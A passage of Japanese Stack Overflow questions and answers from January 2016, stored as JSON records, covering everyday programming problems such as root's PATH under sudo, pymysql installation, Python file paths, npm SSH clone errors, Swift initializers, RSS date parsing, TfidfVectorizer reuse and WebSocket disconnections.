{ "accepted_answer_id": null, "answer_count": 2, "body": "`$`の時は`git`コマンドが使えるのですが、 \n`sudo -s`してrootユーザーになった時に`git`コマンドが使えません。 \nrootユーザーの時のパスが通っていないのが原因だと思うのですが、設定の仕方がいまいちわかりません。 \n通常のユーザーと同じようにrootユーザーのパスを設定するにはどうしたらよいのでしょうか。\n\n```\n\n $ which git\n /usr/local/bin/git\n \n # which git\n /usr/bin/which: no git in (/sbin:/bin:/usr/sbin:/usr/bin)\n \n```", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T08:10:36.740", "favorite_count": 0, "id": "20531", "last_activity_date": "2016-02-01T15:29:58.307", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9149", "post_type": "question", "score": 2, "tags": [ "git", "centos" ], "title": "rootの時にgitのパスが通ってない", "view_count": 4921 }
[ { "body": "CentOS(私は7で確認)のデフォルト設定では、sudoの設定ファイルであるsudoersのsecure_path設定により、sudo時のパスが`/sbin:/bin:/usr/sbin/:/usr/bin`になります。\n\n質問のような運用形態で/usr/local/bin/gitを使えるようにするには、以下のいずれかの方法をとることになると思います。なお、`sudo\n-s`でなければ、sudoに-Eオプションを付けて現在の環境変数PATHを引き継ぐこともできます。\n\n * `sudo -s`のかわりに`sudo su -`を使う(自分のパスワードでrootになる)\n * `sudo -s`のかわりに`su`または`su -`を使う(rootのパスワードでrootになる)\n * `sudo visudo`でsudoersの編集に入り、`Defaults secure_path`の行の設定をする", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T13:12:06.987", "id": "20540", "last_activity_date": "2016-01-02T13:12:06.987", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "4010", "parent_id": "20531", "post_type": "answer", "score": 1 }, { "body": "bashの場合パスを通すには環境変数`PATH`を設定します。 \nbash のマニュアルには次のように書いてあります。\n\n> PATH \n> コマンドの検索パスです。 シェルがコマンドを検索するディレクトリをコロンで区切って並べたリストです (後述の コマンドの実行を参照)。 PATH\n> 中の長さ 0 の (空の) ディレクトリ名は、カレントディレクトリを示します。 空のディレクトリ名は、2 つのコロンを並べるか、\n> 先頭や末尾のコロンで表します。 デフォルトのパスはシステム依存で、 bash をインストールしたシステム管理者が設定します。 一般的な値は\n> ``/usr/gnu/bin:/usr/local/bin:/usr/ucb:/bin:/usr/bin'' です。\n\n環境変数の設定は`export`コマンドを使います。`:`区切りで`/usr/local/bin`を追加します。\n\n```\n\n # export PATH=$PATH:/usr/local/bin\n # which git\n /usr/local/bin/git\n \n```\n\n`export` コマンドで設定した値はログオフすると破棄されるため `~/.bashrc` に書きます。\n\n```\n\n # vim ~/.bash_profile\n (略)\n export PATH=$PATH:/usr/local/bin\n \n```\n\n`sudo -s` しなおすか 手動で読み込むと反映されます。\n\n```\n\n # . ~/.bashrc ←手動で読み込む\n # which git\n /usr/local/bin/git\n \n```\n\n```\n\n $ sudo -s\n # which git\n /usr/local/bin/git\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T15:18:28.717", "id": "20544", "last_activity_date": "2016-01-02T15:18:28.717", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5008", "parent_id": "20531", "post_type": "answer", "score": 0 } ]
20531
null
20540
{ "accepted_answer_id": null, "answer_count": 1, "body": "対処法を教えていただけませんでしょうか。環境はcentos7、python3.4.3です。\n\n■error \n`ImportError: No module named 'pymysql`\n\n■入力したコマンド \n`import pymysql`\n\n■インストール方法\n\n`pip install PyMySQL`\n\n■`pip list`の結果\n\n`PyMySQL (0.6.7)`", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T08:21:45.553", "favorite_count": 0, "id": "20532", "last_activity_date": "2016-09-19T01:21:08.647", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13859", "post_type": "question", "score": 0, "tags": [ "python" ], "title": "ImportError: No module named 'pymysql'となりmysqlに接続できない", "view_count": 7220 }
[ { "body": "【自己解決】 \n`pip install PyMySQL`ではなく \n`pip3 install PyMySQL`\n\nでいけました。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T09:25:29.343", "id": "20535", "last_activity_date": "2016-01-03T03:34:58.657", "last_edit_date": "2016-01-03T03:34:58.657", "last_editor_user_id": "13859", "owner_user_id": "13859", "parent_id": "20532", "post_type": "answer", "score": 2 } ]
20532
null
20535
{ "accepted_answer_id": null, "answer_count": 2, "body": "python、というかプログラミング初心者です。 \nご回答頂けたら幸いです。\n\n以下のコードをテキストエディタ(メモ帳)に書いた後、デスクトップの \n自分のフォルダにmymod.pyという名前で保存しました。\n\n```\n\n def countLines(name):\n file = open(name)\n return len(file.readlines())\n \n```\n\nそして、IDLE (Python GUI)にて以下の方法で起動しようとしたら、\n\n```\n\n >>> import sys\n >>> sys.path.append(\"C:\\Users\\Owner\\Desktop\\c-file\")\n >>> import mymod\n >>> mymod.test('mymod.py')\n \n```\n\n以下のエラーが出ました。\n\n```\n\n Traceback (most recent call last):\n File \"<pyshell#3>\", line 1, in <module>\n mymod.test('mymod.py')\n File \"C:\\Users\\Owner\\Desktop\\c-file\\mymod.py\", line 9, in test\n return countLines(name) , countChars(name)\n File \"C:\\Users\\Owner\\Desktop\\c-file\\mymod.py\", line 2, in countLines\n file = open(name)\n \n IOError: [Errno 2] No such file or directory: 'mymod.py'\n \n```\n\nこのエラーの意味するところ、そして対処法を教えていただけないでしょうか? \nちなみに使用しているのはPython2.7.11です。 \n宜しくお願いします。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T10:51:18.620", "favorite_count": 0, "id": "20536", "last_activity_date": "2016-01-02T12:15:07.833", "last_edit_date": "2016-01-02T11:12:58.497", "last_editor_user_id": "8000", "owner_user_id": "13860", "post_type": "question", "score": 0, "tags": [ "python" ], "title": "pythonにてIOError: [Errno 2] No such file or directoryと表示され、手詰まりになる", "view_count": 76772 }
[ { "body": "> No such file or directory: 'mymod.py'\n\nは`mymod.py`という「ファイルがない」という意味です。 \n~~notepadではデフォルトでは`.txt`という拡張子で保存するので、 \n本当に`mymod.py`で保存されているか`mymod.py.txt`で保存されていないか確認してみて下さい。(エクスプローラーの状態によっては拡張子が表示されないモードになっている場合があります)~~ \nあと、カレントディレクトリはファイルのあるディレクトリになっていますか? \nフルパスに変えて実行してみて下さい。\n\nあと、\n\n```\n\n def countLines(name):\n file = open(name)\n return len(file.readlines())\n \n```\n\nのようにインデントが必要で、 \n`>>> mymod.countLines('mymod.py')` \nのように呼び出す必要があると思います。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T11:22:41.583", "id": "20538", "last_activity_date": "2016-01-02T12:15:07.833", "last_edit_date": "2016-01-02T12:15:07.833", "last_editor_user_id": "5044", "owner_user_id": "5044", "parent_id": "20536", "post_type": "answer", "score": 0 }, { "body": "以下の状況と推測します。\n\n 1. Python IDLE はWindowsのスタートメニューなど(コマンドライン以外)から起動している\n\n-> 起動直後の状態はおそらく、カレントディレクトリがPythonのインストールディレクトリとなっています。以下のコードで確認出来ます:\n``` >>> import os\n\n >>> print(os.getcwd())\n \n```\n\n 2. `mymod.py` を保存したディレクトリは `\"C:\\Users\\Owner\\Desktop\\c-file\"`\n\n`file = open(name)` は `file = open('mymod.py')` として解釈されます。このとき、 \nカレントディレクトリにある `'mymod.py'` ファイルを開こうとします。\n\n上記の結果、Pythonをインストールしたディレクトリに mymod.py ファイルは無いため、 `No such file or directory`\n(そんなファイル無いよ)というエラーになります。対処方法としては以下のいずれかがあります。\n\nA. `os.chdir(\"C:\\Users\\Owner\\Desktop\\c-file\")` を先に実行しておく。 \nB. 開くファイルを絶対パスで指定する。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T11:34:06.653", "id": "20539", "last_activity_date": "2016-01-02T11:34:06.653", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "806", "parent_id": "20536", "post_type": "answer", "score": 4 } ]
20536
null
20539
{ "accepted_answer_id": "20632", "answer_count": 1, "body": "Vue.jsの日本語ドキュメントをローカルで実行したいのですがうまくできません。 \n[ここのREADME](https://github.com/vuejs/jp.vuejs.org)に書いてあるのを参考に下記のコマンドを実行しましたが,`localhost:4000`にアクセスしてもドキュメントの内容が表示されません。 \nnpm installの時にERRORが発生しており、git cloneがうまくできていないようですが、どうすれば解決するのでしょうか?\n\n```\n\n \n $ npm install -g hexo-cli\n $ npm install -g hexo-server --save # https://hexo.io/docs/server.htmlによるとhexo serverは別になったらしい\n $ npm install\n $ hexo server\n \n \n```\n\nnpm install時のError\n\n```\n\n \n npm WARN deprecated [email protected]: Use textlint-rule-preset-jtf-style. See https://github.com/azu/textlint-rule-preset-JTF-style/releases/tag/2.0.0\n npm ERR! git clone --template=/Users/username/.npm/_git-remotes/_templates --mirror ssh://[email protected]/vuejs-jp/textlint-checker-for-vuejs-jp-docs.git /Users/username/.npm/_git-remotes/git-ssh-git-github-com-vuejs-jp-textlint-checker-for-vuejs-jp-docs-git-5e1819f931c8b509fa627bfa1bb41508: Cloning into bare repository '/Users/username/.npm/_git-remotes/git-ssh-git-github-com-vuejs-jp-textlint-checker-for-vuejs-jp-docs-git-5e1819f931c8b509fa627bfa1bb41508'...\n npm ERR! git clone --template=/Users/username/.npm/_git-remotes/_templates --mirror ssh://[email protected]/vuejs-jp/textlint-checker-for-vuejs-jp-docs.git /Users/username/.npm/_git-remotes/git-ssh-git-github-com-vuejs-jp-textlint-checker-for-vuejs-jp-docs-git-5e1819f931c8b509fa627bfa1bb41508: Permission denied (publickey).\n npm ERR! git clone --template=/Users/username/.npm/_git-remotes/_templates --mirror ssh://[email protected]/vuejs-jp/textlint-checker-for-vuejs-jp-docs.git /Users/username/.npm/_git-remotes/git-ssh-git-github-com-vuejs-jp-textlint-checker-for-vuejs-jp-docs-git-5e1819f931c8b509fa627bfa1bb41508: fatal: Could not read from remote repository.\n npm ERR! git clone --template=/Users/username/.npm/_git-remotes/_templates --mirror ssh://[email protected]/vuejs-jp/textlint-checker-for-vuejs-jp-docs.git /Users/username/.npm/_git-remotes/git-ssh-git-github-com-vuejs-jp-textlint-checker-for-vuejs-jp-docs-git-5e1819f931c8b509fa627bfa1bb41508: \n npm ERR! git clone --template=/Users/username/.npm/_git-remotes/_templates --mirror ssh://[email protected]/vuejs-jp/textlint-checker-for-vuejs-jp-docs.git /Users/username/.npm/_git-remotes/git-ssh-git-github-com-vuejs-jp-textlint-checker-for-vuejs-jp-docs-git-5e1819f931c8b509fa627bfa1bb41508: Please make sure you have the correct access rights\n npm ERR! git clone --template=/Users/username/.npm/_git-remotes/_templates --mirror ssh://[email protected]/vuejs-jp/textlint-checker-for-vuejs-jp-docs.git /Users/username/.npm/_git-remotes/git-ssh-git-github-com-vuejs-jp-textlint-checker-for-vuejs-jp-docs-git-5e1819f931c8b509fa627bfa1bb41508: and the repository exists.\n npm ERR! Darwin 15.2.0\n npm ERR! argv \"/usr/local/bin/node\" \"/usr/local/bin/npm\" \"install\"\n npm ERR! node v5.3.0\n npm ERR! npm v3.3.12\n npm ERR! code 128\n \n npm ERR! Command failed: git clone --template=/Users/username/.npm/_git-remotes/_templates --mirror ssh://[email protected]/vuejs-jp/textlint-checker-for-vuejs-jp-docs.git /Users/username/.npm/_git-remotes/git-ssh-git-github-com-vuejs-jp-textlint-checker-for-vuejs-jp-docs-git-5e1819f931c8b509fa627bfa1bb41508\n npm ERR! Cloning into bare repository '/Users/username/.npm/_git-remotes/git-ssh-git-github-com-vuejs-jp-textlint-checker-for-vuejs-jp-docs-git-5e1819f931c8b509fa627bfa1bb41508'...\n npm ERR! Permission denied (publickey).\n npm ERR! fatal: Could not read from remote repository.\n npm ERR! \n npm ERR! Please make sure you have the correct access rights\n npm ERR! and the repository exists.\n npm ERR! \n npm ERR! \n npm ERR! If you need help, you may report this error at:\n npm ERR! \n \n npm ERR! Please include the following file with any support request:\n npm ERR! /Users/username/vue/jp.vuejs.org/npm-debug.log\n \n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T14:45:13.933", "favorite_count": 0, "id": "20541", "last_activity_date": "2016-01-05T15:01:17.667", "last_edit_date": "2016-01-05T14:06:12.553", "last_editor_user_id": "5246", "owner_user_id": "5246", "post_type": "question", "score": 0, "tags": [ "node.js", "npm", "vue.js" ], "title": "vue.jsの日本語ドキュメントをローカルで実行しようとするができない", "view_count": 1267 }
[ { "body": "githubへのsshアクセスに失敗しています。 \ngithubのアカウントを作って公開鍵を登録するか、`package.json`を編集して\n\n```\n\n \"textlint-checker-for-vuejs-jp-docs\": \"[email protected]:vuejs-jp/textlint-checker-for-vuejs-jp-docs.git\"\n \n```\n\nを\n\n```\n\n \"textlint-checker-for-vuejs-jp-docs\": \"https://github.com/vuejs-jp/textlint-checker-for-vuejs-jp-docs.git\"\n \n```\n\nに変更すれば解決すると思います。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-05T15:01:17.667", "id": "20632", "last_activity_date": "2016-01-05T15:01:17.667", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "241", "parent_id": "20541", "post_type": "answer", "score": 1 } ]
20541
20632
20632
{ "accepted_answer_id": "20579", "answer_count": 2, "body": "データベースで独自の投票パーツを作ったのですが、1アクセスごとにSELECT文で結果の数 \n(83good 12bad)を取得していてはデータベースサーバに負担が大きいのですが、このような簡易データベースにキャッシュなどのやり方は存在しますか?", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T15:07:35.200", "favorite_count": 0, "id": "20542", "last_activity_date": "2016-01-04T10:27:55.570", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7973", "post_type": "question", "score": 0, "tags": [ "mysql", "pdo" ], "title": "YouTubeのようなGoodとBadの作り方", "view_count": 143 }
[ { "body": "一般的には非正規化を行います。 \n「ユーザーID, good/bad」のようなユーザー毎のデータを持つテーブルと、「goodCount,\nbadCount」のような回数を集計したテーブルの二つのテーブルを作成します。そして整合性を壊さないように二つのテーブルを更新するようにします。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-04T07:31:29.150", "id": "20579", "last_activity_date": "2016-01-04T07:31:29.150", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "12774", "parent_id": "20542", "post_type": "answer", "score": 2 }, { "body": "おそらく誰がいつvoteしたとかの情報は必要だろうと想像してその前提であれば、集計クエリを何らかの方法でキャッシュするのが一般的です。\n\n * アプリケーションのローカルメモリ\n * memcachedなどのインメモリKVS\n * Redis等永続化可能なKVS\n * PostgreSQLの場合、pgpoolというミドルウェアがありクエリキャッシュ機能があります\n * MySQLは自分自身でクエリキャッシュ機能を持っています\n * RDBMSの別テーブルをキャッシュとして使う\n\nなど方法はいろいろあります。\n\n * データの整合性保証\n * 要求されるパフォーマンス\n * キャッシュが空の状態での性能低下防止(ウォームアップ)\n\nなど、検討すべきポイントはいろいろありますが、環境や背景が何も書かれていないので、具体的にどうすべきかはなんとも言えません。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-04T10:27:55.570", "id": "20587", "last_activity_date": "2016-01-04T10:27:55.570", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5793", "parent_id": "20542", "post_type": "answer", "score": 2 } ]
20542
20579
20579
{ "accepted_answer_id": "20557", "answer_count": 1, "body": "swiftで書かれた以下のclassファイルのソースがあります。\n\n```\n\n // レイヤーをAVPlayerLayerにする為のラッパークラス.\n class AVPlayerView : UIView{\n required init(coder aDecoder: NSCoder) {\n super.init(coder: aDecoder)\n }\n \n override init(frame: CGRect) {\n super.init(frame: frame)! // ・・・(1)\n }\n \n override class func layerClass() -> AnyClass{ // ・・・(2)\n return AVPlayerLayer.self // ・・・(2)\n }\n }\n \n```\n\n(1) !のForced Unwrappingを付けないと\n\n> [パス]: A non-failable initializer cannot chain to failable initializer \n> 'init(coder:)' written with 'init?'\n\nのエラーが発生します。これはどういった意味で、なぜ「!」が必要なのでしょう?\n\n(2) のlayerClass()をoverrideしていますが、 \n(2-1) 返り値が AnyClassとは? \n(2-2) AVPlayerLayer.selfとは? \n全く見慣れないコードでどのような理解をすればいいのかわかりません。\n\n参考になるページURLでもかまいません。ご教授のほどいただけると幸いです。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T15:16:33.923", "favorite_count": 0, "id": "20543", "last_activity_date": "2016-01-03T06:58:43.613", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "8593", "post_type": "question", "score": 0, "tags": [ "swift" ], "title": "UIViewのinitのForced Unwrappingと", "view_count": 359 }
[ { "body": "> これはどういった意味で、なぜ「!」が必要なのでしょう?\n\nこれは通常の`UIView`の`init()`が[Failable\nInitializer](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Initialization.html)、「失敗する可能性のある初期化子」であるためです。もし初期化に失敗した場合、`nil`を返すため、型は`AVPlayerView?`になります。\n\nそれをオーバーライドして`AVPlayerView`を返すイニシャライザを書こうとしているので、型が違うというエラーが出ます。解決する方法は、\n\n * `!`で`AVPlayerView?`を`AVPlayerView`にUnwrapして型を一致させる\n * Failable Initializerをオーバーライドするときは、Failable Initializerで記述する\n\nの2つあります。\n\n> (前略)全く見慣れないコードでどのような理解をすればいいのかわかりません。\n\nまず、iOSのビューはすべて[自動レイヤつきビュー(Layer-Backed\nView)](https://developer.apple.com/jp/documentation/CoreAnimation_guide.pdf)であるという理解が必要です。\n\n`UIView`の実際の描画処理は`CALayer`、つまりCore\nAnimationが担当しています。`UIView`(およびそのサブクラス)を生成すると、それに紐付いた`CALayer`(およびそのサブクラス)が自動的に生成されているのです。\n\n`UIView`およびそのサブクラスが、どのレイヤクラスと紐付けされているのかを伝える方法が、`layerClass()`のオーバーライドになります。\n\n返り値の`AnyClass`は **任意の参照型** を意味しますが、これは`UIView`のAPIが動的型付け言語のObjective-\nCのものなので、`id`型がそのままSwiftに直訳されているだけですね。\n\n`AVPlayerLayer.self`のような「型名.self」の記述は公式リファレンスの[Metatype\nType](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Types.html)に記述がありますが、ある型に対してそれ自身を値として取得したい場合に使う構文です。\n\nこの記述により、`AVPlayerView`をインスタンス化する際、システムは実際の描画に使うレイヤクラスが`AVPlayerLayer`であると知ることができ、`AVPlayerLayer`もインスタンス化します。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-03T06:58:43.613", "id": "20557", "last_activity_date": "2016-01-03T06:58:43.613", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5337", "parent_id": "20543", "post_type": "answer", "score": 4 } ]
20543
20557
20557
{ "accepted_answer_id": null, "answer_count": 1, "body": "Androidにて、RSSを取得するプログラムです。 \n<http://www.panzee.biz/archives/3255> こちらのサイトにあるコードですが \nこのままですとライブドアブログの形式で取得できません。\n\n```\n\n RSSは\n <link>\n http://blog.livedoor.jp/------.html\n </link>\n <description/>\n <dc:creator>aatyu</dc:creator>\n <dc:date>2016-01-02T22:35:31+09:00</dc:date>\n <dc:subject>ハード・業界</dc:subject>\n \n```\n\n上記の形式です。下記コードの日付取得の部分を \n}else if(tag.equals(\"dc:date\")){//日付別バーション \nと変更してみましたが取得できませんでした。 \ntag.contains(\"date\") \ntag.equals(\":date\") \nこれらでもダメでした。(結果がnullのまま)\n\n```\n\n // XMLをパースする\n \n public RssListAdapter parseXml(InputStream is) throws IOException,\n XmlPullParserException {\n XmlPullParser parser = Xml.newPullParser();\n try {\n parser.setInput(is, null);\n int eventType = parser.getEventType();\n Item currentItem = null;\n while (eventType != XmlPullParser.END_DOCUMENT) {\n String tag = null;\n switch (eventType) {\n case XmlPullParser.START_TAG:\n tag = parser.getName();\n if (tag.equals(\"item\")) {\n currentItem = new Item();\n } else if (currentItem != null) {\n if (tag.equals(\"title\")) {\n currentItem.setTitle(parser.nextText());\n } else if (tag.equals(\"author\")) {\n currentItem.setSite((parser.nextText()));\n } else if (tag.equals(\"pubDate\")) {\n currentItem.setDate((parser.nextText()));\n }\n // else if (tag.equals(\"description\")) {\n // currentItem.setDescription(parser.nextText());\n // }\n }\n break;\n case XmlPullParser.END_TAG:\n tag = parser.getName();\n if (tag.equals(\"item\")) {\n mAdapter.add(currentItem);\n }\n break;\n }\n eventType = parser.next();\n }\n } catch (Exception e) {\n e.printStackTrace();\n }\n return mAdapter;\n }\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T16:28:34.507", "favorite_count": 0, "id": "20547", "last_activity_date": "2016-05-01T20:40:45.927", "last_edit_date": "2016-02-01T18:10:50.783", "last_editor_user_id": "76", "owner_user_id": "12948", "post_type": "question", "score": 2, "tags": [ "android", "java" ], "title": "ライブドアブログ(RSS1.0)のフィードから日付を取り出したい", "view_count": 276 }
[ { "body": "}else if(tag.equals(\"date\")) {\n\nで取得できました", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T17:24:16.150", "id": "20548", "last_activity_date": "2016-01-02T17:24:16.150", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "12948", "parent_id": "20547", "post_type": "answer", "score": 1 } ]
20547
null
20548
{ "accepted_answer_id": "20723", "answer_count": 1, "body": "`sklearn`でKMeansを利用しようと考えています。 \n<https://github.com/luispedro/BuildingMachineLearningSystemsWithPython/blob/master/ch03/rel_post_20news.py> \n上記のサンプルを参考にしています。 \n上記サンプルの[L58](https://github.com/luispedro/BuildingMachineLearningSystemsWithPython/blob/master/ch03/rel_post_20news.py#L58)で`TfidfVectorizer.fit_transform()`で学習データをベクトル化し、[L91](https://github.com/luispedro/BuildingMachineLearningSystemsWithPython/blob/master/ch03/rel_post_20news.py#L91)で新しいクラスタリング対象のデータを`TfidfVectorizer.transform()`でベクトル化しています。\n\nこれは、必ず`fit_transform()`を呼び出してから`transform()`を呼びださなければならないのでしょうか。 \nもしそうなら、`fit_transform()`した状態を保存しておき新しい対象に対しては`fit_transform()`を省略することはできるでしょうか。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T22:12:55.560", "favorite_count": 0, "id": "20549", "last_activity_date": "2016-01-07T19:28:31.120", "last_edit_date": "2016-01-03T14:09:25.580", "last_editor_user_id": "3639", "owner_user_id": "7232", "post_type": "question", "score": 0, "tags": [ "python", "機械学習", "scikit-learn" ], "title": "sklearnのTfidfVectorizerについて", "view_count": 1132 }
[ { "body": "学習データのベクトル化と、新しいデータのベクトル化は独立した操作なので、必ずしもfit_transform()を呼び出してからtransform()を呼びなさないといけないわけではありません。fit_transform()で作られたベクトルをディスクに保存しておけば、後からロードすることができます。\n\n`vectorized`の型は`scipy.sparse.csr.csr_matrix`なので`.toarray()`でnumpyの形式に変換してから保存すればいいと思います。復元はその逆の操作になります。\n\n```\n\n import numpy\n import scipy.sparse.csr\n \n # vectorizedはgithubの例にあるようにvectorizer.fit_transform(...)で得られたもの\n \n # 保存\n numpy.save('my_vector', vectorized.toarray())\n \n # 復元 なぜかファイル名は拡張子をつけないとロードできない\n vectorized2 = scipy.sparse.csr.csr_matrix(numpy.load('my_vector.npy'))\n \n # 値の同一性の確認\n print (vectorized.toarray() == vectorized2.toarray()).all()\n \n```", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-07T19:28:31.120", "id": "20723", "last_activity_date": "2016-01-07T19:28:31.120", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7837", "parent_id": "20549", "post_type": "answer", "score": 1 } ]
20549
20723
20723
{ "accepted_answer_id": "20555", "answer_count": 1, "body": "iOSのApp Extension\nを利用したキーボード(カスタムキーボード)で高さを調整しようと思い下記のコードを`viewDidAppear`と`updateViewConstraints`に追加したのですが高さが変わりません。 \n解決方法をご存知の方、教えて下さい。\n\nこのコードは[Appleのドキュメント](https://developer.apple.com/jp/documentation/General/Conceptual/ExtensibilityPG/Keyboard/Keyboard.html)を参考にしました。\n\n```\n\n let heightConstraint = NSLayoutConstraint(\n item: self.view,\n attribute: NSLayoutAttribute.Height,\n relatedBy: NSLayoutRelation.Equal,\n toItem: nil,\n attribute: NSLayoutAttribute.NotAnAttribute,\n multiplier: 0.0,\n constant: 400)\n self.view.addConstraint(heightConstraint)\n \n```\n\n環境 \nXcode7.2 \niOS9,8", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-03T02:03:03.080", "favorite_count": 0, "id": "20551", "last_activity_date": "2016-01-03T06:20:59.897", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "12276", "post_type": "question", "score": 0, "tags": [ "ios", "swift", "xcode7" ], "title": "iOSのApp Extension を利用したキーボードの高さが調整できない。", "view_count": 320 }
[ { "body": "私は以下の方法で、設定しています。\n\n```\n\n //前もって高さを設定\n pHeight=400\n \n //以下の関数をオーバーライド\n override func viewDidAppear(animated: Bool) {\n super.viewDidAppear(animated)\n \n //以下で高さ変更\n let heightConstraint = NSLayoutConstraint(item: view, attribute: NSLayoutAttribute.Height, relatedBy: NSLayoutRelation.Equal, toItem: nil, attribute: NSLayoutAttribute.NotAnAttribute, multiplier: 0,constant: pHeight)\n view.addConstraint(heightConstraint)\n }\n \n```\n\n参考になれば幸いです。", "comment_count": 5, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-03T05:11:41.760", "id": "20555", "last_activity_date": "2016-01-03T06:20:59.897", "last_edit_date": "2016-01-03T06:20:59.897", "last_editor_user_id": "13866", "owner_user_id": "13866", "parent_id": "20551", "post_type": "answer", "score": 1 } ]
20551
20555
20555
{ "accepted_answer_id": null, "answer_count": 1, "body": "JavaScriptでWebsocketのServerに接続したいのですが、接続してもすぐに接続が切れてしまいます。consoleを見ると、ページが読み込まれると、すぐに下記のようにOpenとcloseが表示されてしまいます。なぜ、すぐに切断されるのでしょうか?\n\nconsole:\n\n```\n\n \n Open\n Close\n \n \n```\n\nJavaScript\n\n```\n\n \n var post_button = document.getElementById(\"post\");\n var ws = new WebSocket(\"ws://localhost:4283/chat\");\n \n function generateDOM(name, content) {\n var base_div = document.createElement(\"div\");\n var p_content = document.createElement(\"p\");\n var p_name = document.createElement(\"p\");\n base_div.className = \"message-card\";\n p_content.className = \"content\";\n p_name.className = \"name\";\n p_name.textContent = name;\n p_content.textContent = content;\n base_div.appendChild(p_name);\n base_div.appendChild(p_content);\n return base_div\n }\n \n post_button.onclick = function (e) {\n ws.send(JSON.stringify({Name: name, Message: input_area.value}));\n };\n \n ws.onopen = function (e) {\n console.log(\"Open\");\n }\n \n ws.onmessage = function (e) {\n var d = JSON.parse(e.data.toString());\n var e = generateCard(d.name, d.message);\n c.appendChild(e);\n }\n \n ws.onclose = function () {\n console.log(\"Close\");\n }\n \n \n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-03T04:32:57.510", "favorite_count": 0, "id": "20553", "last_activity_date": "2016-04-07T13:16:03.333", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5246", "post_type": "question", "score": 0, "tags": [ "javascript", "websocket" ], "title": "JavaScriptでWebsocketの接続がすぐに切れてしまう", "view_count": 3667 }
[ { "body": "`onclose` 関数で\n[CloseEvent](https://developer.mozilla.org/ja/docs/Web/API/CloseEvent)\nを受け取るようにして、 `code` ([Close Code](https://www.rfc-\neditor.org/rfc/rfc6455#section-7.1.5)) や `reason` ([Close\nReason](https://www.rfc-editor.org/rfc/rfc6455#section-7.1.6))\nの値を調べれば、何かヒントが得られると思います。\n\n```\n\n ws.onclose = function (e) {\n console.log(\"Close Code = \" + e.code);\n console.log(\"Close Reason = \" + e.reason);\n }\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-08T11:58:20.750", "id": "20755", "last_activity_date": "2016-01-08T11:58:20.750", "last_edit_date": "2021-10-07T07:34:52.683", "last_editor_user_id": "-1", "owner_user_id": "67", "parent_id": "20553", "post_type": "answer", "score": 1 } ]
20553
null
20755
{ "accepted_answer_id": "20563", "answer_count": 1, "body": "以下のコードで取得したHTMLソースの、2バイト文字が&#xxxxxとなってしまう。 \n10進数数値文字参照をテキスト文字列に変換したい。 \n変換のヒントでも大歓迎です。\n\n```\n\n // 通信先のURLを生成\n let myUrl:NSURL = NSURL(string:\"http://k2k.sagawa-exp.co.jp/p/sagawa/web/okurijosearch.do?okurijoNo=123456789012\")!\n \n // リクエストを生成\n print(myUrl)\n let myRequest:NSURLRequest = NSURLRequest(URL: myUrl)\n \n // 送信処理を始める.\n let res:NSData? = try! NSURLConnection.sendSynchronousRequest(myRequest, returningResponse: nil) as? NSData\n \n // 帰ってきたデータを文字列に変換.\n if let myData:String = NSString(data:res!, encoding: NSUTF8StringEncoding) as? String {\n // 文字コード指定で正しくStringへ変換できた時の処理\n print(myData)\n }\n \n```\n\n以下、帰ってくるデータの一部です。\n\n```\n\n <!DOCTYPE html>\n <html lang=\"ja\">\n <head>\n <title>&#20304;&#24029;&#24613;&#20415; - &#12304;&#12362;&#33655;&#29289;&#21839;&#12356;&#21512;&#12431;&#12379;&#12469;&#12540;&#12499;&#12473;&#12305;</title>\n <meta charset=\"Windows-31J\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"ROBOTS\" content=\"NONE\">\n <meta name=\"keywords\" content=\"\">\n <meta name=\"description\" content=\"\">\n <meta name=\"copyright\" content=\"&#20304;&#24029;&#24613;&#20415;&#26666;&#24335;&#20250;&#31038;(c)\">\n \n```\n\n以下略\n\n下記のリンク先で、している変換をSwiftで実現したいのです。 \n[2] 10進数数値文字参照を文字列に変換 の部分です。 